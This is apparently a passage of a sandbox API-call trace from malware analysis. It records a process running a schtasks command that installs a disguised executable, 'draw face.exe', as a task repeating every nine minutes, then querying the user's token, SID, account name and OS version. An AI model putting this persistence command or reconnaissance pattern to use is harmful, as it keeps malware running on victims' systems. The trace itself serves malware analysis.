lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"draw faced\" /sc MINUTE /mo 9 /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1320, dwThreadId=0x940)) returned 1 [0119.347] CloseHandle (hObject=0x260) returned 1 [0119.347] CloseHandle (hObject=0x264) returned 1 [0119.349] free (_Block=0x196ef0d1b00) [0119.349] DestroyEnvironmentBlock () returned 0x1 [0119.349] malloc (_Size=0x48) returned 0x196ef0d5a50 [0119.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x27fdd424, dwHighDateTime=0x1d9eb0c)) [0119.350] SetEvent (hEvent=0x248) returned 1 [0119.406] CloseHandle (hObject=0x270) returned 1 [0119.406] CloseHandle (hObject=0x26c) returned 1 [0119.410] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788250 [0119.410] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788250, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0119.410] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0119.410] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0120.281] RtlRestoreLastWin32Error () returned 0x670dbf000 [0120.281] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0120.281] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0120.281] RtlRestoreLastWin32Error () returned 0x670dbf000 [0120.281] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0120.281] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0120.282] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0120.282] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0120.282] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0120.282] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0120.284] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0120.285] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0120.285] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0120.285] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0120.286] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0120.288] GetCurrentThread () returned 0xfffffffffffffffe [0120.288] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0120.288] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0120.288] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0120.288] GetLastError () returned 0x7a [0120.288] malloc (_Size=0x2c) returned 0x196ef0d1810 [0120.288] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d1810, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1810, ReturnLength=0x67117c740) returned 1 [0120.288] IsValidSid (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0120.289] GetLengthSid (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0120.289] malloc (_Size=0x1c) returned 0x196ef0f9ac0 [0120.289] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9ac0, pSourceSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9ac0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0120.289] GetSidIdentifierAuthority (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1822 [0120.289] malloc (_Size=0x18) returned 0x196ef0d2020 [0120.289] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0120.289] malloc (_Size=0x18) returned 0x196ef0d1c80 [0120.289] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0120.289] SysStringLen (param_1="S-1-") returned 0x4 [0120.289] SysStringLen (param_1="5") returned 0x1 [0120.289] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7c7558, _Size=0xa | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0120.289] memcpy (in: _Dst=0x196ee7aab40, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7aab40) returned 0x196ee7aab40 [0120.289] free (_Block=0x196ef0d2020) [0120.289] free (_Block=0x196ef0d1c80) [0120.289] GetSidSubAuthorityCount (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1821 [0120.289] GetSidSubAuthority (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1828 [0120.289] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0120.289] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0120.289] malloc (_Size=0x18) returned 0x196ef0d1e80 [0120.289] SysStringLen (param_1="S-1-5") returned 0x5 [0120.290] SysStringLen (param_1="-") returned 0x1 [0120.290] memcpy (in: _Dst=0x196ee7aaaa8, _Src=0x196ee7aab38, _Size=0xc | out: _Dst=0x196ee7aaaa8) returned 0x196ee7aaaa8 [0120.290] memcpy (in: _Dst=0x196ee7aaab2, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7aaab2) returned 0x196ee7aaab2 [0120.290] free (_Block=0x196ef0d1aa0) [0120.290] free (_Block=0x196ef0d1bc0) [0120.290] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0120.290] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0120.290] SysStringLen (param_1="S-1-5-") returned 0x6 [0120.290] SysStringLen (param_1="21") returned 0x2 [0120.290] memcpy (in: _Dst=0x196ee7c7558, _Src=0x196ee7aaaa8, _Size=0xe | out: _Dst=0x196ee7c7558) returned 0x196ee7c7558 [0120.290] memcpy (in: _Dst=0x196ee7c7564, _Src=0x196ee7aab38, _Size=0x6 | out: _Dst=0x196ee7c7564) returned 0x196ee7c7564 [0120.290] free (_Block=0x196ef0d1e80) [0120.290] free (_Block=0x196ef0d1ba0) [0120.290] GetSidSubAuthority (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d182c [0120.290] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0120.290] malloc (_Size=0x18) returned 0x196ef0d1f00 [0120.290] malloc (_Size=0x18) returned 0x196ef0d2020 [0120.290] SysStringLen (param_1="S-1-5-21") returned 0x8 [0120.290] SysStringLen (param_1="-") returned 0x1 [0120.290] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7c7558, _Size=0x12 | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0120.291] memcpy (in: _Dst=0x196ee7aab48, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7aab48) returned 0x196ee7aab48 [0120.291] free (_Block=0x196ef0d1ca0) [0120.291] free (_Block=0x196ef0d1f00) [0120.291] malloc (_Size=0x18) returned 0x196ef0d19a0 [0120.291] malloc (_Size=0x18) returned 0x196ef0d19c0 [0120.291] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0120.291] SysStringLen (param_1="1560258661") returned 0xa [0120.291] memcpy (in: _Dst=0x196ee777c58, _Src=0x196ee7aab38, _Size=0x14 | out: _Dst=0x196ee777c58) returned 0x196ee777c58 [0120.291] memcpy (in: _Dst=0x196ee777c6a, _Src=0x196ee7c7558, _Size=0x16 | out: _Dst=0x196ee777c6a) returned 0x196ee777c6a [0120.291] free (_Block=0x196ef0d2020) [0120.291] free (_Block=0x196ef0d19a0) [0120.291] GetSidSubAuthority (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1830 [0120.291] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0120.291] malloc (_Size=0x18) returned 0x196ef0d20e0 [0120.291] malloc (_Size=0x18) returned 0x196ef0d1c20 [0120.291] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0120.291] SysStringLen (param_1="-") returned 0x1 [0120.291] memcpy (in: _Dst=0x196ee7774d8, _Src=0x196ee777c58, _Size=0x28 | out: _Dst=0x196ee7774d8) returned 0x196ee7774d8 [0120.291] memcpy (in: _Dst=0x196ee7774fe, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7774fe) returned 0x196ee7774fe [0120.292] free (_Block=0x196ef0d19c0) [0120.292] free (_Block=0x196ef0d20e0) [0120.292] malloc (_Size=0x18) returned 0x196ef0d19c0 [0120.292] malloc (_Size=0x18) returned 0x196ef0d1c60 [0120.292] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0120.292] SysStringLen (param_1="3990802383") returned 0xa [0120.292] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7774d8, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0120.292] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0120.292] free (_Block=0x196ef0d1c20) [0120.292] free (_Block=0x196ef0d19c0) [0120.292] GetSidSubAuthority (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1834 [0120.292] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0120.292] malloc (_Size=0x18) returned 0x196ef0d1a20 [0120.292] malloc (_Size=0x18) returned 0x196ef0d1f40 [0120.292] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0120.292] SysStringLen (param_1="-") returned 0x1 [0120.292] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0120.292] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0120.292] free (_Block=0x196ef0d1c60) [0120.293] free (_Block=0x196ef0d1a20) [0120.293] malloc (_Size=0x18) returned 0x196ef0d1e80 [0120.293] malloc (_Size=0x18) returned 0x196ef0d1d00 [0120.293] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0120.293] SysStringLen (param_1="1811730007") returned 0xa [0120.293] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0120.293] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0120.293] free (_Block=0x196ef0d1f40) [0120.293] free (_Block=0x196ef0d1e80) [0120.293] GetSidSubAuthority (pSid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1838 [0120.343] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0120.343] malloc (_Size=0x18) returned 0x196ef0d1f40 [0120.343] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0120.343] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0120.343] SysStringLen (param_1="-") returned 0x1 [0120.343] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0120.343] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0120.343] free (_Block=0x196ef0d1d00) [0120.343] free (_Block=0x196ef0d1f40) [0120.343] malloc (_Size=0x18) returned 0x196ef0d2060 [0120.343] malloc (_Size=0x18) returned 0x196ef0d20c0 [0120.343] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0120.343] SysStringLen (param_1="1000") returned 0x4 [0120.344] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0120.344] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0120.344] free (_Block=0x196ef0d1ec0) [0120.344] free (_Block=0x196ef0d2060) [0120.344] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0120.344] malloc (_Size=0x5e) returned 0x196ef0d0610 [0120.344] free (_Block=0x196ef0d20c0) [0120.344] malloc (_Size=0x18) returned 0x196ef0d1f20 [0120.345] free (_Block=0x196ef0d0610) [0120.345] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0120.346] GetLastError () returned 0x7a [0120.346] malloc (_Size=0x1a) returned 0x196ef0f9c70 [0120.347] malloc (_Size=0xe) returned 0x196ef0d1fc0 [0120.347] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9c70, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1fc0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0120.348] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0120.348] malloc (_Size=0x18) returned 0x196ef0d1c00 [0120.349] free (_Block=0x196ef0f9c70) [0120.349] free (_Block=0x196ef0d1fc0) [0120.349] free (_Block=0x196ef0f9ac0) [0120.349] free (_Block=0x196ef0d1c00) [0120.349] free (_Block=0x196ef0d1aa0) [0120.349] free (_Block=0x196ef0d1f20) [0120.350] free (_Block=0x196ef0d1810) [0120.350] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0120.350] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0120.350] GetLastError () returned 0x7a [0120.350] malloc (_Size=0x2c) returned 0x196ef0d0d90 [0120.350] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0d90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0d90, ReturnLength=0x67117c740) returned 1 [0120.350] IsValidSid (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0120.350] GetLengthSid (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0120.351] malloc (_Size=0x1c) returned 0x196ef0f9b80 [0120.351] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9b80, pSourceSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9b80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0120.351] GetSidIdentifierAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0da2 [0120.351] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0120.351] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0120.351] malloc (_Size=0x18) returned 0x196ef0d1c20 [0120.351] malloc (_Size=0x18) returned 0x196ef0d1a20 [0120.351] SysStringLen (param_1="S-1-") returned 0x4 [0120.351] SysStringLen (param_1="5") returned 0x1 [0120.351] memcpy (in: _Dst=0x196ee7c7558, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7c7558) returned 0x196ee7c7558 [0120.351] memcpy (in: _Dst=0x196ee7c7560, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7c7560) returned 0x196ee7c7560 [0120.351] free (_Block=0x196ef0d1ba0) [0120.351] free (_Block=0x196ef0d1c20) [0120.351] GetSidSubAuthorityCount (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0da1 [0120.352] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0da8 [0120.352] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0120.352] malloc (_Size=0x18) returned 0x196ef0d1de0 [0120.352] malloc (_Size=0x18) returned 0x196ef0d1c60 [0120.352] SysStringLen (param_1="S-1-5") returned 0x5 [0120.352] SysStringLen (param_1="-") returned 0x1 [0120.352] memcpy (in: _Dst=0x196ee7aaaa8, _Src=0x196ee7c7558, _Size=0xc | out: _Dst=0x196ee7aaaa8) returned 0x196ee7aaaa8 [0120.352] memcpy (in: _Dst=0x196ee7aaab2, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aaab2) returned 0x196ee7aaab2 [0120.352] free (_Block=0x196ef0d1a20) [0120.352] free (_Block=0x196ef0d1de0) [0120.352] malloc (_Size=0x18) returned 0x196ef0d2080 [0120.352] malloc (_Size=0x18) returned 0x196ef0d1a80 [0120.352] SysStringLen (param_1="S-1-5-") returned 0x6 [0120.353] SysStringLen (param_1="21") returned 0x2 [0120.353] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aaaa8, _Size=0xe | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0120.353] memcpy (in: _Dst=0x196ee7aab44, _Src=0x196ee7c7558, _Size=0x6 | out: _Dst=0x196ee7aab44) returned 0x196ee7aab44 [0120.353] free (_Block=0x196ef0d1c60) [0120.353] free (_Block=0x196ef0d2080) [0120.353] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0dac [0120.353] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0120.353] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0120.353] malloc (_Size=0x18) returned 0x196ef0d1b00 [0120.353] SysStringLen (param_1="S-1-5-21") returned 0x8 [0120.353] SysStringLen (param_1="-") returned 0x1 [0120.353] memcpy (in: _Dst=0x196ee7c7558, _Src=0x196ee7aab38, _Size=0x12 | out: _Dst=0x196ee7c7558) returned 0x196ee7c7558 [0120.353] memcpy (in: _Dst=0x196ee7c7568, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7c7568) returned 0x196ee7c7568 [0120.354] free (_Block=0x196ef0d1a80) [0120.354] free (_Block=0x196ef0d1ae0) [0120.354] malloc (_Size=0x18) returned 0x196ef0d1b40 [0120.354] malloc (_Size=0x18) returned 0x196ef0d1f60 [0120.354] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0120.354] SysStringLen (param_1="1560258661") returned 0xa [0120.354] memcpy (in: _Dst=0x196ee777c58, _Src=0x196ee7c7558, _Size=0x14 | out: _Dst=0x196ee777c58) returned 0x196ee777c58 [0120.354] memcpy (in: _Dst=0x196ee777c6a, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee777c6a) returned 0x196ee777c6a [0120.354] free (_Block=0x196ef0d1b00) [0120.354] free (_Block=0x196ef0d1b40) [0120.354] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0db0 [0120.354] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0120.354] malloc (_Size=0x18) returned 0x196ef0d1d40 [0120.354] malloc (_Size=0x18) returned 0x196ef0d1a20 [0120.354] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0120.355] SysStringLen (param_1="-") returned 0x1 [0120.355] memcpy (in: _Dst=0x196ee7774d8, _Src=0x196ee777c58, _Size=0x28 | out: _Dst=0x196ee7774d8) returned 0x196ee7774d8 [0120.355] memcpy (in: _Dst=0x196ee7774fe, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7774fe) returned 0x196ee7774fe [0120.355] free (_Block=0x196ef0d1f60) [0120.355] free (_Block=0x196ef0d1d40) [0120.355] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0120.355] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0120.355] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0120.355] SysStringLen (param_1="3990802383") returned 0xa [0120.355] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7774d8, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0120.355] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7c7558, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0120.355] free (_Block=0x196ef0d1a20) [0120.355] free (_Block=0x196ef0d1ba0) [0120.355] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0db4 [0120.356] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0120.375] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0120.375] malloc (_Size=0x18) returned 0x196ef0d20e0 [0120.375] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0120.375] SysStringLen (param_1="-") returned 0x1 [0120.375] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0120.375] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 